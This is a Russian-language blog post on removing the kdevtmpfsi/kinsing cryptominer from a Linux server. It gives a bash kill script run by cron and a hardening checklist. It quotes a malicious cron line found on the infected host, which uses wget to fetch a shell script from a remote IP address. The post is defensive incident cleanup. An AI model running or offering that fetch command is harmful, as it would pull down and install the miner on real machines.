Николаев Виталий
Блог веб-разработчика: Битрикс, PHP, Python, Linux и SEO
Linux-server Linux-server
26.05.2022

kdevtmpfsi - удаляем вирус

kdevtmpfsi - удаляем вирус

kdevtmpfsi — распространённый Linux-майнер, который заражает сервер и начинает использовать процессор на 100%. Чаще всего встречается на VPS и веб-серверах с Ubuntu или Debian.

Во время работы вирус создает процессы вида:

kdevtmpfsi
kdevtmpfsi12345
kinsing

Из-за высокой нагрузки сервер начинает тормозить: сайты медленно открываются, растёт load average, а CPU практически постоянно загружен на 100%.

Сразу оговорюсь: описанный ниже способ не устраняет причину заражения, а лишь не даёт майнеру нормально работать. На момент написания статьи точный путь проникновения вируса определить не удалось.

Что я пробовал:

  • удалять файл /tmp/kdevtmpfsi;
  • создавать пустой файл с правами chmod 0000;
  • блокировать порты, через которые работает вирус;
  • удалять задания из cron.

Ничего из этого полностью не помогло. После удаления вирус создавал новые файлы вида:

/tmp/kdevtmpfsi65896556
/tmp/kdevtmpfsi987654

Также была обнаружена подозрительная запись в cron:

* * * * * wget -q -O - http://195.3.146.118/lr.sh

После удаления записи вирус всё равно продолжал запускаться, значит источник заражения находился где-то ещё.

Скрипт для удаления kdevtmpfsi

Создаём файл:

nano kill.sh

Вставляем в него следующий скрипт:

#!/bin/bash

kill $(pgrep kdevtmp)
kill $(pgrep kinsing)

find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;

rm /tmp/kdevtmp*
rm /tmp/kinsing*

Скрипт:

  • находит процессы майнера;
  • завершает их;
  • удаляет файлы вируса;
  • очищает временные файлы в /tmp.

Автоматический запуск через cron

Если запустить скрипт один раз, майнер действительно удалится. Но через некоторое время он обычно появляется снова: иногда через пару секунд, иногда через несколько часов.

Поэтому скрипт лучше запускать автоматически через cron.

Открываем cron:

crontab -e

Добавляем строку:

* * * * * sh /path/to/kill.sh > /var/log/kill.log

Теперь скрипт будет запускаться каждую минуту и автоматически завершать процессы майнера.

Что стоит проверить дополнительно

  • обновить систему и пакеты;
  • проверить SSH-доступ и пароли;
  • отключить root-вход по паролю;
  • проверить подозрительные процессы и пользователей;
  • посмотреть cron всех пользователей;
  • проверить автозагрузку systemd и rc.local;
  • обновить CMS и плагины сайта.

Если майнер продолжает появляться даже после очистки, проще и безопаснее полностью пересоздать сервер и перенести только проверенные файлы проекта.

24 просмотров

Комментарии

Где заказы?
Почему у одних компаний очередь из клиентов, а у других пустой сайт и тишина?
Телеграм канал «Где заказы?» — про продажи, сайты и ошибки бизнеса на реальных примерах. Подписаться